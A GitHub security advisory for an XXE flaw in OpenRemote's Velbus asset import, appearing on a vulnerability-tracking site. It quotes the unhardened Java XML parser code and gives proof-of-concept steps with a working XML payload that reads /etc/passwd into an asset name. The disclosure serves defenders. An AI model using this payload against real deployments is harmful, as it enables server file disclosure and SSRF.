GHSA-G24F-MGC3-JWWC

Vulnerability from github – Published: 2026-04-15 19:42 – Updated: 2026-04-15 21:17
VLAI?
Summary
OpenRemote has XXE in Velbus Asset Import
Details

Summary

The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.

Details

Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.

```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java @Override public Future startAssetImport(byte[] fileData, Consumer assetConsumer) {

    return executorService.submit(() -> {
        Document xmlDoc;
        try {
            String xmlStr = new String(fileData, StandardCharsets.UTF_8);
            LOG.info("Parsing VELBUS project file");

            xmlDoc = DocumentBuilderFactory
                .newInstance()
                .newDocumentBuilder()
                .parse(new InputSource(new StringReader(xmlStr)));

Expanded `Caption` content is propagated into created asset names:

```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java
                String name = module.getElementsByTagName("Caption").item(0).getTextContent();
                name = isNullOrEmpty(name) ? deviceType.toString() : name;

                // TODO: Use device specific asset types
                Asset<?> device = new ThingAsset(name);

PoC

  1. Log in to a realm with a user that can call Velbus asset import.
  2. Create/select a Velbus TCP Agent in that same realm.
  3. Send POST /api/{realm}/agent/assetImport/{agentId} with a Velbus project XML payload and compare behavior against a baseline import file.
  4. Save the below code as a xxe.xml and upload to Setup under https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage the file:///etc/passwd to another file if your passwd is longer than 1023 characters.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE velbus [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Project>
  <Module type="VMB1RY" address="01" build="00" serial="LAB">
    <Caption>&xxe;</Caption>
  </Module>
</Project>

As long as the file content is under 1023 characters, the exploit will succeed. image

If the file content reaches the limit, an error is thrown. image

Impact

  • Type: XML External Entity (XXE)
  • Affected: Deployments exposing Velbus import to authenticated users with import access
  • Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.21.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.openremote:openremote-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:42:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.\n\n### Details\nVelbus import uses `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)` on untrusted XML input, without explicit safeguards to disable DTD/external entities.\n\n```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n    @Override\n    public Future\u003cVoid\u003e startAssetImport(byte[] fileData, Consumer\u003cAssetTreeNode[]\u003e assetConsumer) {\n\n        return executorService.submit(() -\u003e {\n            Document xmlDoc;\n            try {\n                String xmlStr = new String(fileData, StandardCharsets.UTF_8);\n                LOG.info(\"Parsing VELBUS project file\");\n\n                xmlDoc = DocumentBuilderFactory\n                    .newInstance()\n                    .newDocumentBuilder()\n                    .parse(new InputSource(new StringReader(xmlStr)));\n```\n\nExpanded `Caption` content is propagated into created asset names:\n\n```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n                String name = module.getElementsByTagName(\"Caption\").item(0).getTextContent();\n                name = isNullOrEmpty(name) ? deviceType.toString() : name;\n\n                // TODO: Use device specific asset types\n                Asset\u003c?\u003e device = new ThingAsset(name);\n```\n\n### PoC\n1. Log in to a realm with a user that can call Velbus asset import.\n2. Create/select a Velbus TCP Agent in that same realm.\n3. Send `POST /api/{realm}/agent/assetImport/{agentId}` with a Velbus project XML payload and compare behavior against a baseline import file.\n3. Save the below code as a `xxe.xml` and upload to `Setup` under `https://localhost/manager/?realm=\u003cYOUR_REALM\u003e#/assets/false/\u003cASSET_ID\u003e`. Chnage the `file:///etc/passwd` to another file if your `passwd` is longer than 1023 characters.\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE velbus [\n  \u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\"\u003e\n]\u003e\n\u003cProject\u003e\n  \u003cModule type=\"VMB1RY\" address=\"01\" build=\"00\" serial=\"LAB\"\u003e\n    \u003cCaption\u003e\u0026xxe;\u003c/Caption\u003e\n  \u003c/Module\u003e\n\u003c/Project\u003e\n```\n\nAs long as the file content is under 1023 characters, the exploit will succeed.\n\u003cimg width=\"1200\" height=\"662\" alt=\"image\" src=\"https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b\" /\u003e\n\nIf the file content reaches the limit, an error is thrown.\n\u003cimg width=\"1200\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429\" /\u003e\n\n\n### Impact\n- **Type:** XML External Entity (XXE)\n- **Affected:** Deployments exposing Velbus import to authenticated users with import access\n- **Risk:** limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.",
  "id": "GHSA-g24f-mgc3-jwwc",
  "modified": "2026-04-15T21:17:52Z",
  "published": "2026-04-15T19:42:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openremote/openremote"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenRemote has XXE in Velbus Asset Import"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…